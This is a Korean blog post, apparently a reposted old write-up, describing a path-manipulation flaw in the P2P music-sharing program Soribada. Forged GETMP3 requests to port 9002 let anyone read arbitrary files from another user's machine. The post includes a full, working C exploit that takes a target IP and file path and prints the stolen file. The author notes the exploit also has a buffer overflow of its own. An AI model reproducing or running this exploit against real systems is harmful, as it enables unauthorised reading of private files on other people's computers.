Pleasure resort of Gleam™

안녕하세요.

(먼저 이 문서를 보고 악의적인 행동을 할시에 일어나는 모든 행동은
저와 무관하다는 것을 명시함.)

소리바다의 취약점에 대해서 알아보겠습니다. 소리바다는 mp3 공유
프로그램으로 p2p 방식 입니다. peer to peer 로 사용자와 사용자를
연결하는 방식입니다.

소리바다를 사용시 진행되는 방식을 다음과 같습니다.

1. 소리바다 exe 프로그램 구동
2. 소리바다 로그인
3. 찾는 노래 키워드 검색
4. 소리바다에 연결된 다른 컴퓨터들한테 키워드 전송
5. 다른 컴퓨터들이 나에게 키워드에 맞는 정보를 보내줌
6. 정보를 토대로 다시 그 컴퓨터 접속하여 노래를 가져옴

이렇습니다.

예를 들어 우리가 A 컴퓨터를 이용하고 있고 TTL 이라는 노래를
검색한다고 하면 B 컴퓨터는 우리에게 TTL 에 맞는 정보를 보냅니다.

'나한테 TTL.mp3 가 있다. 이 파일은 c:\mp3\ttl.mp3 이고 파일 크기는
4000 이고 어쩌고 저쩌고 하다.'

우리는 이 정보를 토대로 다시 B 컴퓨터에 접속합니다.

'너의 c:\mp3\ttl.mp3 파일을 가지러 왔다. 내놔라'

이해를 쉽게하기 위해 실제로 우리가 B 컴퓨터 접속하여 어떻게
정보를 요청하는지 알아보겠습니다.

GETMP3
Filename: c:\mp3\ttl.mp3
PortM: 9004
Username: ffjfjfjfj

GETMP3 는 mp3 를 가져가겠단 의미이고 filename 은 경로입니다.
port 는 파일 전송에 이용할 포트를 뜻하는것 같고 username 은
소리바다 id 를 말합니다.

실질적으로 이런 내용이 전송되는 포트는 목적지 컴퓨터의 9002 포트
번호입니다. 소리바다를 실행하면 9002 포트가 열리게 되어있죠.

우리가 위와 같은 내용을 상대방에게 전달할때 Filename 을 임의로
조작한다면 우리가 원하는 파일을 가져올수 있습니다. 예를 들자면

GETMP3
Filename: c:\autoexec.bat
PortM: 9004
Username: ffjfjfjfj

이렇게 보내면 되겠죠?

위의 이야기를 보고 의문이 가시는 분도 있을 겁니다.

'그럼 검색키워드에 그냥 autoexec 로 검색하면 B 컴퓨터가
c:\autoexec.bat 파일의 정보를 나한테 보내주지 않나?'

아닙니다. 소리바다 설정 메뉴중 공유할 폴더를 선택하는 부분있죠?
그 폴더 안에 있는 것들중 mp3 만 검색을 하기 때문에 보내주지 않습니다.

이와 유사한 프로그램은 이런 류의 버그가 많습니다. 명령어 실행이라든지
여러가지를 조작할수가 있죠. 거의 모든 국내 프로그램들이 말이죠..
대단한 기술은 아니지만 해킹은 창의적이기 때문에 이런 간단한 방법으로도
해킹이 가능합니다.

exploit 을 같이 첨부하겠습니다. exploit 에서 쉘코드처럼 보이는 것은
쉘코드가 아니라 위에서 말한 GETMP3 이런 것들입니다. 그냥 고치기 귀찮
아서 패킷 그대로 옮겨적었습니다.. 소스가 굉장히 지저분합니다. 양해
해주세요. 만약 일반 txt 형 파일이 아닌 2 진 파일을 받을 경우에는
소스를 수정해야 할 겁니다. (exploit에 overflow 취약점이 있군요.. 캬캬)

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define PORT 9002
main (int argc, char *argv[]) {
char cmd[500]=
"\x47\x45\x54\x4d\x50\x33\x0d\x0a\x46\x69\x6c\x65\x6e\x61\x6d\x65\x3a\x20";
int sockfd, a=strlen(cmd), b, count, bbb;
char cmd2[]=
"\x0d\x0a\x50\x6f\x72\x74\x4d\x3a\x20\x39"
"\x30\x30\x34\x0d\x0a\x55\x73\x65\x72\x6e\x61\x6d\x65\x3a\x20"
"\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x61\x6b\x6e"
"\x0d\x0a\x0d\x0a";
char buf[1000];
struct hostent *he;
struct sockaddr_in their_addr;

if(argc<4) {
printf("usage: %s drivename filename targetip\n\n", argv[0]);
printf("ex> %s c autoexec.bat beist.org\n", argv[0]);
printf("ex2> %s c document\\haha.txt beist.org\n\n", argv[0]);
printf("made by beist. http://beist.org, beist@hanmail.net\n");
printf("the best cf model of korea is Eun-Kyung Im (TTL)\n");
printf("Wowcode Team in WOWhacker.com\n");
exit(-1);
}

if(strlen(argv[1]) >1) {
printf("드라이브 명을 정확히 입력하세요.\n");
exit(-1);
}

if ((he=gethostbyname(argv[3])) == NULL) {
herror("gethostbyname");
exit(1);
}

if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(their_addr.sin_zero), 8);
if (connect(sockfd, (struct sockaddr *)&their_addr, \
sizeof(struct sockaddr)) == -1) {
perror("connect");
exit(1);
}
cmd[a++]=argv[1][0];
cmd[a++]='\x3a';
cmd[a++]='\x5c';
b=strlen(argv[2]);
for(count=0;count<b;count++)
cmd[a++]=argv[2][count];
strcat(cmd, cmd2);
send(sockfd, cmd, strlen(cmd), 0);
recv(sockfd, buf, 1000, 0);
for(bbb=0;bbb<strlen(buf);bbb++)
printf("%c", buf[bbb]);
sleep(2);
recv(sockfd, buf, 1000, 0);
for(bbb=0;bbb<strlen(buf);bbb++)
printf("%c", buf[bbb]);
printf("당신이 보낸 명령어 : \n%s", cmd);
}

'ETC.' 카테고리의 다른 글

예전 자료 정리 - SSL의 허와 실  (0) 2009.02.15
예전 자료 정리 - 소리바다 취약점  (0) 2009.02.15
예전 자료 정리 - 웹 해킹의 유형  (0) 2009.02.15
삶이란……  (0) 2008.08.31

Comment +0